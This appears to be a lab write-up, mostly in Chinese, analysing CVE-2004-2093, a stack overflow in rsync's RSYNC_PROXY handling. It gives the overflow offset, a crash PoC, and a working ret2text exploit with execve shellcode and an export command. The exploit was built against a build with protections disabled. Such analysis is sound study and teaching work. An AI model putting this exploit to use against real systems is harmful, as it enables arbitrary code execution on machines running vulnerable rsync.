Rsync is a fast and extraordinarily versatile file copying tool. It can copy locally, to/from another host over any remote shell, or to/from a remote rsync daemon. It offers a large number of options that control every aspect of its behavior and permit very flexible specification of the set of files to be copied. It is famous for its delta-transfer algorithm, which reduces the amount of data sent over the network by sending only the differences between the source files and the existing files in the destination. Rsync is widely used for backups and mirroring and as an improved copy command for everyday use.

Rsync finds files that need to be transferred using a “quick check” algorithm (by default) that looks for files that have changed in size or in last-modified time. Any changes in the other preserved attributes (as requested by options) are made on the destination file directly when the quick check indicates that the file’s data does not need to be updated.

Some of the additional features of rsync are:

  • support for copying links, devices, owners, groups, and permissions
  • exclude and exclude-from options similar to GNU tar
  • a CVS exclude mode for ignoring the same files that CVS would ignore
  • can use any transparent remote shell, including ssh or rsh
  • does not require super-user privileges
  • pipelining of file transfers to minimize latency costs
  • support for anonymous or authenticated rsync daemons (ideal for mirroring)

0x01 漏洞描述

0x02 CVE-2004-2093 漏洞原理

1、源码

溢出点位于 socket.c 文件中的 open_socket_out() 函数内。漏洞产生的原因在于,程序读入环境变量 RSYNC_PROXY 时未检查缓冲区边界。当使用 rsync 连接远程 deamon 服务器时会触发漏洞。rsync 手册中对 “CONNECTING TO AN RSYNC DAEMON” 的描述如下:


CONNECTING TO AN RSYNC DAEMON
It is also possible to use rsync without a remote shell as the transport. In this case you will directly connect to a remote rsync daemon, typically using TCP port 873. (This obviously requires the daemon to be running on the remote system, so refer to the STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS section below for information on that.)

Using rsync in this way is the same as using it with a remote shell except that:

  • you either use a double colon :: instead of a single colon to separate the hostname from the path, or you use an rsync:// URL.
  • the first word of the “path” is actually a module name.
  • the remote daemon may print a message of the day when you connect.
  • if you specify no path name on the remote daemon then the list of accessible paths on the daemon will be shown.
  • if you specify no local destination then a listing of the specified files on the remote daemon is provided.
  • you must not specify the –rsh (-e) option.
    An example that copies all the files in a remote module named “src”:

    rsync -av host::src /dest


open_socket_out() 函数如下:

2、汇编

溢出点处,strcpy() 的目的地址为 portbuf[10]。查看汇编代码,portbuf 地址为 RBP - 0x7a,因此偏移量为 0x7a。

3、Debug

基于以上分析,尝试构造 PoC,构造条件为

  • PoC 中需包含字符 “:”
  • “:” 后的数据为 122 字节(0x7a)
  • 122 字节后追加 6 字节,覆盖 RIP。
    最终 PoC 为:
    1
    python -c 'print "AAAA:" + "A"*122 + "BBBBBB"'

通过 GDB 进行调试,运行参数为:run -av localhost::src /dest。使用 set environment RSYNC_PROXY=PoC 将 PoC 传入。

在 < open_socket_out+229 > 处设置断点,即溢出点前。查看程序运行状态如下:

使用命令 “ni” 单步执行,触发溢出。

可见,RIP 被覆盖为 0x0000424242424242。执行至 open_socket_out() 返回,触发异常:

控制流已被成功劫持。完整过程如下:

0x02 Exploit

通过 ret2text 的方式,在实验环境下实现任意代码执行。

1、实验环境

修改原 Makefile 文件中的 gcc 选项,关闭安全机制:

checksec 结果如下:

1
2
3
4
5
6
7
8
pwndbg> checksec
[*] '/root/AEG_DataSet/rsync-2.5.7/rsync'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

使用 shellcode 如下,功能为调用 /bin/bash,共计 24 字节。

1
2
// 调用 /bin/bash (24 byte)
shellcode = '\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'

2、GDB

基于上文分析,使用 retAddr = 0x7fffffffe1fe,构造 Exp 如下:

1
'AAAA:' + '\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05' + 'A'*98 + '\xfe\xe1\xff\xff\xff\x7f'")

使用 export 命令将 Exp 写入环境变量:

1
export RSYNC_PROXY="`python -c 'print "AAAA:"+"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" + "A"*98 + "\xfe\xe1\xff\xff\xff\x7f"'`"

使用 GDB 加载并执行 rsync,在 < open_socket_out+234 > 处设置断点,并查看程序状态:

执行至 open_socket_out() 返回,控制流被劫持,跳转至 shellcode 并执行。

至此,完成了对 CVE-2004-2093 的分析,并在实验环境下编写了 Exploit。

参考文献:

  1. rsync download
  2. rsync doc
  3. Vulnerability Details : CVE-2004-2093